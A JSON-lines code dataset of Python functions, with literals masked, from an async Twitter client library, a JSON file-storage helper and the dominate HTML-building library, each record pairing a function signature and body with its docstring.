{"signature": "async def __anext__(self):", "body": "if self.response is None:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>await self.connect()<EOL>return {'<STR_LIT>': True}<EOL><DEDENT>line = b'<STR_LIT>'<EOL>try:<EOL><INDENT>if self.state != NORMAL:<EOL><INDENT>if self._reconnecting:<EOL><INDENT>return await self.restart_stream()<EOL><DEDENT>else:<EOL><INDENT>return await self.init_restart()<EOL><DEDENT><DEDENT>while not line:<EOL><INDENT>if self.response.content.at_eof():<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.state = EOF<EOL>return await self.init_restart()<EOL><DEDENT>with async_timeout.timeout(<NUM_LIT>):<EOL><INDENT>line = await self.response.content.readline()<EOL>line = line.strip(b'<STR_LIT:\\r\\n>')<EOL>logger.debug(\"<STR_LIT>\" % line)<EOL><DEDENT><DEDENT>if line in rate_limit_notices:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise StreamLimit(line)<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>return self.loads(line)<EOL><DEDENT>except HandledErrors as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\" % (e.__class__.__name__, e))<EOL>self.state = ERROR<EOL>return await self.init_restart()<EOL><DEDENT>except ClientConnectionError:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.state = DISCONNECTION<EOL>return await self.init_restart()<EOL><DEDENT>except CancelledError:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>raise StopAsyncIteration<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.state = ERROR<EOL>return await self.init_restart(error=e)<EOL><DEDENT>", "docstring": "Decode each line using json\n\nReturns\n-------\ndict\n    Decoded JSON data", "id": "f4744:c0:m4"}
{"signature": "async def init_restart(self, error=None):", "body": "if error:<EOL><INDENT>utils.log_error(logger=logger)<EOL><DEDENT>if self.state == DISCONNECTION:<EOL><INDENT>if self._error_timeout < MAX_DISCONNECTION_TIMEOUT:<EOL><INDENT>self._error_timeout += DISCONNECTION_TIMEOUT<EOL><DEDENT>logger.info(\"<STR_LIT>\"<EOL>% self._error_timeout)<EOL><DEDENT>elif self.state == RECONNECTION:<EOL><INDENT>if self._error_timeout < RECONNECTION_TIMEOUT:<EOL><INDENT>self._error_timeout = RECONNECTION_TIMEOUT<EOL><DEDENT>elif self._error_timeout < MAX_RECONNECTION_TIMEOUT:<EOL><INDENT>self._error_timeout *= <NUM_LIT:2><EOL><DEDENT>logger.info(\"<STR_LIT>\"<EOL>% self._error_timeout)<EOL><DEDENT>elif self.state == ENHANCE_YOUR_CALM:<EOL><INDENT>if self._error_timeout < ENHANCE_YOUR_CALM_TIMEOUT:<EOL><INDENT>self._error_timeout = ENHANCE_YOUR_CALM_TIMEOUT<EOL><DEDENT>else:<EOL><INDENT>self._error_timeout *= <NUM_LIT:2><EOL><DEDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% self._error_timeout)<EOL><DEDENT>elif self.state == EOF:<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % self.state)<EOL><DEDENT>self._reconnecting = True<EOL>return {'<STR_LIT>': self._error_timeout, '<STR_LIT:error>': error}<EOL>", "docstring": "Restart the stream on error\n\nParameters\n----------\nerror : bool, optional\n    Whether to print the error or not", "id": "f4744:c0:m7"}
{"signature": "async def restart_stream(self):", "body": "await self.response.release()<EOL>await asyncio.sleep(self._error_timeout)<EOL>await self.connect()<EOL>logger.info(\"<STR_LIT>\")<EOL>self._reconnecting = False<EOL>return {'<STR_LIT>': True}<EOL>", "docstring": "Restart the stream on error", "id": "f4744:c0:m8"}
{"signature": "def __enter__(self):", "body": "return self<EOL>", "docstring": "Prepare the stream\n\nReturns\n-------\nStreamResponse\n    The stream iterator", "id": "f4744:c0:m9"}
{"signature": "async def __aenter__(self):", "body": "await self.client.setup<EOL>return self<EOL>", "docstring": "Prepare the stream\n\nReturns\n-------\nStreamResponse\n    The stream iterator", "id": "f4744:c0:m10"}
{"signature": "def __exit__(self, *args):", "body": "if getattr(self, '<STR_LIT>', None) is not None:<EOL><INDENT>if not self.response.closed:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.response.close()<EOL><DEDENT><DEDENT>", "docstring": "Close the response on error", "id": "f4744:c0:m11"}
{"signature": "async def __aexit__(self, *args):", "body": "self.__exit__(*args)<EOL>", "docstring": "Close the response on error", "id": "f4744:c0:m12"}
{"signature": "def get_args(func, skip=<NUM_LIT:0>):", "body": "code = getattr(func, '<STR_LIT>', None)<EOL>if code is None:<EOL><INDENT>code = func.__call__.__code__<EOL><DEDENT>return code.co_varnames[skip:code.co_argcount]<EOL>", "docstring": "Hackish way to get the arguments of a function\n\nParameters\n----------\nfunc : callable\n    Function to get the arguments from\nskip : int, optional\n    Arguments to skip, defaults to 0 set it to 1 to skip the\n    ``self`` argument of a method.\n\nReturns\n-------\ntuple\n    Function's arguments", "id": "f4745:m0"}
{"signature": "def log_error(msg=None, exc_info=None, logger=None, **kwargs):", "body": "if logger is None:<EOL><INDENT>logger = _logger<EOL><DEDENT>if not exc_info:<EOL><INDENT>exc_info = sys.exc_info()<EOL><DEDENT>if msg is None:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL><DEDENT>exc_class, exc_msg, _ = exc_info<EOL>if all(info is not None for info in exc_info):<EOL><INDENT>logger.error(msg, exc_info=exc_info)<EOL><DEDENT>", "docstring": "log an exception and its traceback on the logger defined\n\nParameters\n----------\nmsg : str, optional\n    A message to add to the error\nexc_info : tuple\n    Information about the current exception\nlogger : logging.Logger\n    logger to use", "id": "f4745:m1"}
{"signature": "async def get_media_metadata(data, path=None):", "body": "if isinstance(data, bytes):<EOL><INDENT>media_type = await get_type(data, path)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>media_category = get_category(media_type)<EOL>_logger.info(\"<STR_LIT>\" % (media_type,<EOL>media_category))<EOL>return media_type, media_category<EOL>", "docstring": "Get all the file's metadata and read any kind of file object\n\nParameters\n----------\ndata : bytes\n    first bytes of the file (the mimetype shoudl be guessed from the\n    file headers\npath : str, optional\n    path to the file\n\nReturns\n-------\nstr\n    The mimetype of the media\nstr\n    The category of the media on Twitter", "id": "f4745:m2"}
{"signature": "async def get_size(media):", "body": "if hasattr(media, '<STR_LIT>'):<EOL><INDENT>await execute(media.seek(<NUM_LIT:0>, os.SEEK_END))<EOL>size = await execute(media.tell())<EOL>await execute(media.seek(<NUM_LIT:0>))<EOL><DEDENT>elif hasattr(media, '<STR_LIT>'):<EOL><INDENT>size = int(media.headers['<STR_LIT>'])<EOL><DEDENT>elif isinstance(media, bytes):<EOL><INDENT>size = len(media)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\",<EOL>type(media).__name__)<EOL><DEDENT>_logger.info(\"<STR_LIT>\" % size)<EOL>return size<EOL>", "docstring": "Get the size of a file\n\nParameters\n----------\nmedia : file object\n    The file object of the media\n\nReturns\n-------\nint\n    The size of the file", "id": "f4745:m3"}
{"signature": "async def get_type(media, path=None):", "body": "if magic:<EOL><INDENT>if not media:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>_logger.debug(\"<STR_LIT>\")<EOL>media_type = mime.from_buffer(media[:<NUM_LIT>])<EOL><DEDENT>else:<EOL><INDENT>media_type = None<EOL>if path:<EOL><INDENT>_logger.debug(\"<STR_LIT>\")<EOL>media_type = mime.guess_type(path)[<NUM_LIT:0>]<EOL><DEDENT>if media_type is None:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise RuntimeError(msg)<EOL><DEDENT><DEDENT>return media_type<EOL>", "docstring": "Parameters\n----------\nmedia : file object\n    A file object of the image\npath : str, optional\n    The path to the file\n\nReturns\n-------\nstr\n    The mimetype of the media\nstr\n    The category of the media on Twitter", "id": "f4745:m4"}
{"signature": "async def execute(coro):", "body": "if asyncio.iscoroutine(coro):<EOL><INDENT>return await coro<EOL><DEDENT>else:<EOL><INDENT>return coro<EOL><DEDENT>", "docstring": "run a function or coroutine\n\nParameters\n----------\ncoro : asyncio.coroutine or function", "id": "f4745:m6"}
{"signature": "def set_debug():", "body": "logging.basicConfig(level=logging.WARNING)<EOL>peony.logger.setLevel(logging.DEBUG)<EOL>", "docstring": "activates error messages, useful during development", "id": "f4745:m7"}
{"signature": "def __new__(cls, name, bases, attrs, **kwargs):", "body": "handlers = {}<EOL>for base in bases:<EOL><INDENT>if hasattr(base, '<STR_LIT>'):<EOL><INDENT>for key, value in base._handlers.items():<EOL><INDENT>handlers[key] = value<EOL><DEDENT><DEDENT><DEDENT>for attr in attrs.values():<EOL><INDENT>if isinstance(attr, Handle):<EOL><INDENT>for exception in attr.exceptions:<EOL><INDENT>handlers[exception] = attr.handler<EOL><DEDENT><DEDENT><DEDENT>attrs['<STR_LIT>'] = handlers<EOL>return super().__new__(cls, name, bases, attrs)<EOL>", "docstring": "put the :class:`~peony.utils.Handle`s in the right place", "id": "f4745:c1:m0"}
{"signature": "def url(self, suffix=None):", "body": "return \"<STR_LIT:/>\".join(self._path) + (suffix or self._suffix)<EOL>", "docstring": "Build the url using the _path attribute\n\nParameters\n----------\nsuffix : str\n    String to be appended to the url\n\nReturns\n-------\nstr\n    Path to the endpoint", "id": "f4746:c0:m1"}
{"signature": "def __getitem__(self, key):", "body": "if isinstance(key, str):<EOL><INDENT>if key.lower() in general.request_methods:<EOL><INDENT>return self._request(key)<EOL><DEDENT>else:<EOL><INDENT>new_path = self._path + [key]<EOL><DEDENT><DEDENT>elif isinstance(key, (tuple, list)):<EOL><INDENT>key = [str(i) for i in key]<EOL>new_path = self._path + key<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (key, type(key)))<EOL><DEDENT>return self.__class__(path=new_path,<EOL>suffix=self._suffix,<EOL>client=self.client)<EOL>", "docstring": "Where the magic happens\n\nIf the key is a request method (eg. get) call the _request\nattribute with the method as argument\n\notherwise append the key to the _path attribute\n\n>>> api = APIPath()  # you would have to add more arguments\n>>> api['client']    # appends 'client' to _path\n\nParameters\n----------\nkey : :obj:`str`, :obj:`tuple` or :obj:`list`\n    Key used to access an API endpoint and appended to the\n    path attribute\n\nReturns\n-------\nBaseAPIPath\n    New APIPath instance with a new ``path`` value", "id": "f4746:c0:m2"}
{"signature": "def __getattr__(self, k):", "body": "return self[k]<EOL>", "docstring": "Call __getitem__ when trying to get an attribute from the\n    instance\n\nIf your path contains an actual attribute of the instance\nyou should call __getitem__ instead", "id": "f4746:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def _request(self, method):<DEDENT>", "body": "", "docstring": "Make a request for the endpoint\n\nParameters\n----------\nmethod : str\n    method to use to make the request", "id": "f4746:c0:m4"}
{"signature": "def get_error(data):", "body": "if isinstance(data, dict):<EOL><INDENT>if '<STR_LIT>' in data:<EOL><INDENT>error = data['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>error = data.get('<STR_LIT:error>', None)<EOL><DEDENT>if isinstance(error, dict):<EOL><INDENT>if error.get('<STR_LIT:code>') in errors:<EOL><INDENT>return error<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "return the error if there is a corresponding exception", "id": "f4747:m0"}
{"signature": "async def throw(response, loads=None, encoding=None, **kwargs):", "body": "if loads is None:<EOL><INDENT>loads = data_processing.loads<EOL><DEDENT>data = await data_processing.read(response, loads=loads,<EOL>encoding=encoding)<EOL>error = get_error(data)<EOL>if error is not None:<EOL><INDENT>exception = errors[error['<STR_LIT:code>']]<EOL>raise exception(response=response, error=error, data=data, **kwargs)<EOL><DEDENT>if response.status in statuses:<EOL><INDENT>exception = statuses[response.status]<EOL>raise exception(response=response, data=data, **kwargs)<EOL><DEDENT>raise PeonyException(response=response, data=data, **kwargs)<EOL>", "docstring": "Get the response data if possible and raise an exception", "id": "f4747:m1"}
{"signature": "def __init__(self, response=None, error=None, data=None, url=None,<EOL>message=None):", "body": "self.response = response<EOL>self.data = data<EOL>self.error = error<EOL>self.url = url<EOL>if not message:<EOL><INDENT>message = self.get_message()<EOL><DEDENT>if url:<EOL><INDENT>message += \"<STR_LIT>\" + url<EOL><DEDENT>super().__init__(message)<EOL>", "docstring": "Add the response and data attributes\n\nExtract message from the error if not explicitly given", "id": "f4747:c0:m0"}
{"signature": "def code(self, code):", "body": "def decorator(exception):<EOL><INDENT>self[code] = exception<EOL>return exception<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator to associate a code to an exception", "id": "f4747:c5:m0"}
{"signature": "@property<EOL><INDENT>def reset(self):<DEDENT>", "body": "return int(self.response.headers.get('<STR_LIT>', <NUM_LIT:0>))<EOL>", "docstring": "Time when the limit will be reset\n\nReturns\n-------\nint\n    Time when the limit will be reset", "id": "f4747:c10:m0"}
{"signature": "@property<EOL><INDENT>def reset_in(self):<DEDENT>", "body": "return max(self.reset - time(), <NUM_LIT:0>)<EOL>", "docstring": "Time in seconds until the limit will be reset\n\nReturns\n-------\nint\n    Time in seconds until the limit will be reset", "id": "f4747:c10:m1"}
{"signature": "def convert(img, formats):", "body": "media = None<EOL>min_size = <NUM_LIT:0><EOL>for kwargs in formats:<EOL><INDENT>f = io.BytesIO()<EOL>if img.mode == \"<STR_LIT>\" and kwargs['<STR_LIT>'] != \"<STR_LIT>\":<EOL><INDENT>if min_size < <NUM_LIT:5> * <NUM_LIT>**<NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>img.convert('<STR_LIT>')<EOL><DEDENT><DEDENT>img.save(f, **kwargs)<EOL>size = f.tell()<EOL>if media is None or size < min_size:<EOL><INDENT>if media is not None:<EOL><INDENT>media.close()<EOL><DEDENT>media = f<EOL>min_size = size<EOL><DEDENT>else:<EOL><INDENT>f.close()<EOL><DEDENT><DEDENT>return media<EOL>", "docstring": "Convert the image to all the formats specified\nParameters\n----------\nimg : PIL.Image.Image\n    The image to convert\nformats : list\n    List of all the formats to use\nReturns\n-------\nio.BytesIO\n    A file object containing the converted image", "id": "f4749:m0"}
{"signature": "def optimize_media(file_, max_size, formats):", "body": "if not PIL:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise RuntimeError(msg)<EOL><DEDENT>img = PIL.Image.open(file_)<EOL>ratio = max(hw / max_hw for hw, max_hw in zip(img.size, max_size))<EOL>if ratio > <NUM_LIT:1>:<EOL><INDENT>size = tuple(int(hw // ratio) for hw in img.size)<EOL>img = img.resize(size, PIL.Image.ANTIALIAS)<EOL><DEDENT>media = convert(img, formats)<EOL>if not hasattr(file_, '<STR_LIT>'):<EOL><INDENT>img.close()<EOL><DEDENT>return media<EOL>", "docstring": "Optimize an image\nResize the picture to the ``max_size``, defaulting to the large\nphoto size of Twitter in :meth:`PeonyClient.upload_media` when\nused with the ``optimize_media`` argument.\nParameters\n----------\nfile_ : file object\n    the file object of an image\nmax_size : :obj:`tuple` or :obj:`list` of :obj:`int`\n    a tuple in the format (width, height) which is maximum size of\n    the picture returned by this function\nformats : :obj`list` or :obj:`tuple` of :obj:`dict`\n    a list of all the formats to convert the picture to\nReturns\n-------\nfile\n    The smallest file created in this function", "id": "f4749:m1"}
{"signature": "async def set_tz(self):", "body": "settings = await self.api.account.settings.get()<EOL>tz = settings.time_zone.tzinfo_name<EOL>os.environ['<STR_LIT>'] = tz<EOL>time.tzset()<EOL>", "docstring": "set the environment timezone to the timezone\nset in your twitter settings", "id": "f4753:c0:m1"}
{"signature": "def _tempfile(filename):", "body": "return tempfile.NamedTemporaryFile(mode='<STR_LIT:w>',<EOL>dir=os.path.dirname(filename),<EOL>prefix=os.path.basename(filename),<EOL>suffix=os.fsencode('<STR_LIT>'),<EOL>delete=False)<EOL>", "docstring": "Create a NamedTemporaryFile instance to be passed to atomic_writer", "id": "f4765:m0"}
{"signature": "@contextmanager<EOL>def atomic_write(filename):", "body": "f = _tempfile(os.fsencode(filename))<EOL>try:<EOL><INDENT>yield f<EOL><DEDENT>finally:<EOL><INDENT>f.close()<EOL>os.replace(f.name, filename)<EOL><DEDENT>", "docstring": "Open a NamedTemoraryFile handle in a context manager", "id": "f4765:m1"}
{"signature": "def get_item(filename, uuid):", "body": "with open(os.fsencode(str(filename)), \"<STR_LIT:r>\") as f:<EOL><INDENT>data = json.load(f)<EOL>results = [i for i in data if i[\"<STR_LIT>\"] == str(uuid)]<EOL>if results:<EOL><INDENT>return results<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "Read entry from JSON file", "id": "f4765:m2"}
{"signature": "def set_item(filename, item):", "body": "with atomic_write(os.fsencode(str(filename))) as temp_file:<EOL><INDENT>with open(os.fsencode(str(filename))) as products_file:<EOL><INDENT>products_data = json.load(products_file)<EOL><DEDENT>uuid_list = [i for i in filter(<EOL>lambda z: z[\"<STR_LIT>\"] == str(item[\"<STR_LIT>\"]), products_data)]<EOL>if len(uuid_list) == <NUM_LIT:0>:<EOL><INDENT>products_data.append(item)<EOL>json.dump(products_data, temp_file)<EOL>return True<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "Save entry to JSON file", "id": "f4765:m3"}
{"signature": "def update_item(filename, item, uuid):", "body": "with atomic_write(os.fsencode(str(filename))) as temp_file:<EOL><INDENT>with open(os.fsencode(str(filename))) as products_file:<EOL><INDENT>products_data = json.load(products_file)<EOL><DEDENT>if '<STR_LIT>' in products_data[-<NUM_LIT:1>]:<EOL><INDENT>[products_data[i][\"<STR_LIT>\"][<NUM_LIT:0>].update(item) for (<EOL>i, j) in enumerate(products_data) if j[\"<STR_LIT>\"] == str(uuid)]<EOL><DEDENT>else:<EOL><INDENT>[products_data[i].update(item) for (i, j) in enumerate(<EOL>products_data) if j[\"<STR_LIT>\"] == str(uuid)]<EOL><DEDENT>json.dump(products_data, temp_file)<EOL>return True<EOL><DEDENT>", "docstring": "Update entry by UUID in the JSON file", "id": "f4765:m4"}
{"signature": "def include(f):", "body": "fl = open(f, '<STR_LIT:r>')<EOL>data = fl.read()<EOL>fl.close()<EOL>return raw(data)<EOL>", "docstring": "includes the contents of a file on disk.\ntakes a filename", "id": "f4772:m0"}
{"signature": "def system(cmd, data=None):", "body": "import subprocess<EOL>s = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE)<EOL>out, err = s.communicate(data)<EOL>return out.decode('<STR_LIT:utf8>')<EOL>", "docstring": "pipes the output of a program", "id": "f4772:m1"}
{"signature": "def escape(data, quote=True):  ", "body": "data = data.replace(\"<STR_LIT:&>\", \"<STR_LIT>\")  <EOL>data = data.replace(\"<STR_LIT:<>\", \"<STR_LIT>\")<EOL>data = data.replace(\"<STR_LIT:>>\", \"<STR_LIT>\")<EOL>if quote:<EOL><INDENT>data = data.replace('<STR_LIT:\">', \"<STR_LIT>\")<EOL><DEDENT>return data<EOL>", "docstring": "Escapes special characters into their html entities\nReplace special characters \"&\", \"<\" and \">\" to HTML-safe sequences.\nIf the optional flag quote is true, the quotation mark character (\")\nis also translated.\n\nThis is used to escape content that appears in the body of an HTML cocument", "id": "f4772:m2"}
{"signature": "def unescape(data):", "body": "cc = re.compile(r'<STR_LIT>')<EOL>result = []<EOL>m = cc.search(data)<EOL>while m:<EOL><INDENT>result.append(data[<NUM_LIT:0>:m.start()])<EOL>d = m.group(<NUM_LIT:1>)<EOL>if d:<EOL><INDENT>d = int(d)<EOL>result.append(unichr(d))<EOL><DEDENT>else:<EOL><INDENT>d = _unescape.get(m.group(<NUM_LIT:2>), ord('<STR_LIT:?>'))<EOL>result.append(unichr(d))<EOL><DEDENT>data = data[m.end():]<EOL>m = cc.search(data)<EOL><DEDENT>result.append(data)<EOL>return '<STR_LIT>'.join(result)<EOL>", "docstring": "unescapes html entities. the opposite of escape.", "id": "f4772:m3"}
{"signature": "def raw(s):", "body": "return text(s, escape=False)<EOL>", "docstring": "Inserts a raw string into the DOM. Unsafe.", "id": "f4772:m6"}
{"signature": "def __new__(_cls, *args, **kwargs):", "body": "return object.__new__(_cls)<EOL>", "docstring": "Need to reset this special method or else\ndom_tag will think it's being used as a dectorator.\n\nThis means lazy() can't be used as a dectorator, but\nthinking about when you might want that just confuses me.", "id": "f4772:c0:m0"}
{"signature": "def attr(*args, **kwargs):", "body": "ctx = dom_tag._with_contexts[_get_thread_context()]<EOL>if ctx and ctx[-<NUM_LIT:1>]:<EOL><INDENT>dicts = args + (kwargs,)<EOL>for d in dicts:<EOL><INDENT>for attr, value in d.items():<EOL><INDENT>ctx[-<NUM_LIT:1>].tag.set_attribute(*dom_tag.clean_pair(attr, value))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set attributes on the current active tag context", "id": "f4773:m1"}
{"signature": "def __new__(_cls, *args, **kwargs):", "body": "if len(args) == <NUM_LIT:1> and isinstance(args[<NUM_LIT:0>], Callable)and not isinstance(args[<NUM_LIT:0>], dom_tag) and not kwargs:<EOL><INDENT>wrapped = args[<NUM_LIT:0>]<EOL>@wraps(wrapped)<EOL>def f(*args, **kwargs):<EOL><INDENT>with _cls() as _tag:<EOL><INDENT>return wrapped(*args, **kwargs) or _tag<EOL><DEDENT><DEDENT>return f<EOL><DEDENT>return object.__new__(_cls)<EOL>", "docstring": "Check if bare tag is being used a a decorator.\ndecorate the function and return", "id": "f4773:c0:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "self.attributes = {}<EOL>self.children   = []<EOL>self.parent     = None<EOL>self.document   = None<EOL>self.is_inline = kwargs.pop('<STR_LIT>', self.is_inline)<EOL>self.is_pretty = kwargs.pop('<STR_LIT>', self.is_pretty)<EOL>if args:<EOL><INDENT>self.add(*args)<EOL><DEDENT>for attr, value in kwargs.items():<EOL><INDENT>self.set_attribute(*dom_tag.clean_pair(attr, value))<EOL><DEDENT>self._ctx = None<EOL>self._add_to_ctx()<EOL>", "docstring": "Creates a new tag. Child tags should be passed as aruguments and attributes\nshould be passed as keyword arguments.\n\nThere is a non-rendering attribute which controls how the tag renders:\n\n* `__inline` - Boolean value. If True renders all children tags on the same\n               line.", "id": "f4773:c0:m1"}
{"signature": "def __call__(self, func):", "body": "<EOL>if self._ctx:<EOL><INDENT>self._ctx.used.add(self)<EOL><DEDENT>@wraps(func)<EOL>def f(*args, **kwargs):<EOL><INDENT>tag = copy.deepcopy(self)<EOL>tag._add_to_ctx()<EOL>with tag:<EOL><INDENT>return func(*args, **kwargs) or tag<EOL><DEDENT><DEDENT>return f<EOL>", "docstring": "tag instance is being used as a decorator.\nwrap func to make a copy of this tag", "id": "f4773:c0:m5"}
{"signature": "def set_attribute(self, key, value):", "body": "if isinstance(key, int):<EOL><INDENT>self.children[key] = value<EOL><DEDENT>elif isinstance(key, basestring):<EOL><INDENT>self.attributes[key] = value<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Add or update the value of an attribute.", "id": "f4773:c0:m6"}
{"signature": "def setdocument(self, doc):", "body": "<EOL>if self.document != doc:<EOL><INDENT>self.document = doc<EOL>for i in self.children:<EOL><INDENT>if not isinstance(i, dom_tag): return<EOL>i.setdocument(doc)<EOL><DEDENT><DEDENT>", "docstring": "Creates a reference to the parent document to allow for partial-tree\nvalidation.", "id": "f4773:c0:m8"}
{"signature": "def add(self, *args):", "body": "for obj in args:<EOL><INDENT>if isinstance(obj, numbers.Number):<EOL><INDENT>obj = str(obj)<EOL><DEDENT>if isinstance(obj, basestring):<EOL><INDENT>obj = escape(obj)<EOL>self.children.append(obj)<EOL><DEDENT>elif isinstance(obj, dom_tag):<EOL><INDENT>ctx = dom_tag._with_contexts[_get_thread_context()]<EOL>if ctx and ctx[-<NUM_LIT:1>]:<EOL><INDENT>ctx[-<NUM_LIT:1>].used.add(obj)<EOL><DEDENT>self.children.append(obj)<EOL>obj.parent = self<EOL>obj.setdocument(self.document)<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>for attr, value in obj.items():<EOL><INDENT>self.set_attribute(*dom_tag.clean_pair(attr, value))<EOL><DEDENT><DEDENT>elif hasattr(obj, '<STR_LIT>'):<EOL><INDENT>for subobj in obj:<EOL><INDENT>self.add(subobj)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>raise ValueError('<STR_LIT>' % obj)<EOL><DEDENT><DEDENT>if len(args) == <NUM_LIT:1>:<EOL><INDENT>return args[<NUM_LIT:0>]<EOL><DEDENT>return args<EOL>", "docstring": "Add new child tags.", "id": "f4773:c0:m9"}
{"signature": "def get(self, tag=None, **kwargs):", "body": "<EOL>if tag is None: tag = dom_tag<EOL>attrs = [(dom_tag.clean_attribute(attr), value)<EOL>for attr, value in kwargs.items()]<EOL>results = []<EOL>for child in self.children:<EOL><INDENT>if (isinstance(tag, basestring) and type(child).__name__ == tag) or(not isinstance(tag, basestring) and isinstance(child, tag)):<EOL><INDENT>if all(child.attributes.get(attribute) == value<EOL>for attribute, value in attrs):<EOL><INDENT>results.append(child)<EOL><DEDENT><DEDENT>if isinstance(child, dom_tag):<EOL><INDENT>results.extend(child.get(tag, **kwargs))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Recursively searches children for tags of a certain\ntype with matching attributes.", "id": "f4773:c0:m13"}
{"signature": "def __getitem__(self, key):", "body": "if isinstance(key, int):<EOL><INDENT>try:<EOL><INDENT>return object.__getattribute__(self, '<STR_LIT>')[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise IndexError('<STR_LIT>' % key)<EOL><DEDENT><DEDENT>elif isinstance(key, basestring):<EOL><INDENT>try:<EOL><INDENT>return object.__getattribute__(self, '<STR_LIT>')[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError('<STR_LIT>' % key)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Returns the stored value of the specified attribute or child\n(if it exists).", "id": "f4773:c0:m14"}
{"signature": "def __len__(self):", "body": "return len(self.children)<EOL>", "docstring": "Number of child elements.", "id": "f4773:c0:m15"}
{"signature": "def __bool__(self):", "body": "return True<EOL>", "docstring": "Hack for \"if x\" and __len__", "id": "f4773:c0:m16"}
{"signature": "def __iter__(self):", "body": "return self.children.__iter__()<EOL>", "docstring": "Iterates over child elements.", "id": "f4773:c0:m17"}
{"signature": "def __contains__(self, item):", "body": "return bool(self.get(item))<EOL>", "docstring": "Checks recursively if item is in children tree.\nAccepts both a string and a class.", "id": "f4773:c0:m18"}
{"signature": "def __iadd__(self, obj):", "body": "self.add(obj)<EOL>return self<EOL>", "docstring": "Reflexive binary addition simply adds tag as a child.", "id": "f4773:c0:m19"}
{"signature": "@staticmethod<EOL><INDENT>def clean_attribute(attribute):<DEDENT>", "body": "<EOL>attribute = {<EOL>'<STR_LIT>': '<STR_LIT:class>',<EOL>'<STR_LIT>': '<STR_LIT:class>',<EOL>'<STR_LIT>': '<STR_LIT:class>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}.get(attribute, attribute)<EOL>if attribute[<NUM_LIT:0>] == '<STR_LIT:_>':<EOL><INDENT>attribute = attribute[<NUM_LIT:1>:]<EOL><DEDENT>if attribute in set(['<STR_LIT>']) or attribute.startswith('<STR_LIT>'):<EOL><INDENT>attribute = attribute.replace('<STR_LIT:_>', '<STR_LIT:->').lower()<EOL><DEDENT>if attribute.split('<STR_LIT:_>')[<NUM_LIT:0>] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>attribute = attribute.replace('<STR_LIT:_>', '<STR_LIT::>', <NUM_LIT:1>).lower()<EOL><DEDENT>return attribute<EOL>", "docstring": "Normalize attribute names for shorthand and work arounds for limitations\nin Python's syntax", "id": "f4773:c0:m25"}
{"signature": "@classmethod<EOL><INDENT>def clean_pair(cls, attribute, value):<DEDENT>", "body": "attribute = cls.clean_attribute(attribute)<EOL>if value is True:<EOL><INDENT>value = attribute<EOL><DEDENT>if value is False:<EOL><INDENT>value = \"<STR_LIT:false>\"<EOL><DEDENT>return (attribute, value)<EOL>", "docstring": "This will call `clean_attribute` on the attribute and also allows for the\ncreation of boolean attributes.\n\nEx. input(selected=True) is equivalent to input(selected=\"selected\")", "id": "f4773:c0:m26"}
{"signature": "def __init__(self, title='<STR_LIT>', doctype='<STR_LIT>', request=None):", "body": "super(document, self).__init__()<EOL>self.doctype    = doctype<EOL>self.head       = super(document, self).add(tags.head())<EOL>self.body       = super(document, self).add(tags.body())<EOL>self.title_node = self.head.add(tags.title(title))<EOL>self._entry     = self.body<EOL>", "docstring": "Creates a new document instance. Accepts `title`, `doctype`, and `request` keyword arguments.", "id": "f4774:c0:m0"}
{"signature": "def add(self, *args):", "body": "return self._entry.add(*args)<EOL>", "docstring": "Adding tags to a document appends them to the <body>.", "id": "f4774:c0:m3"}
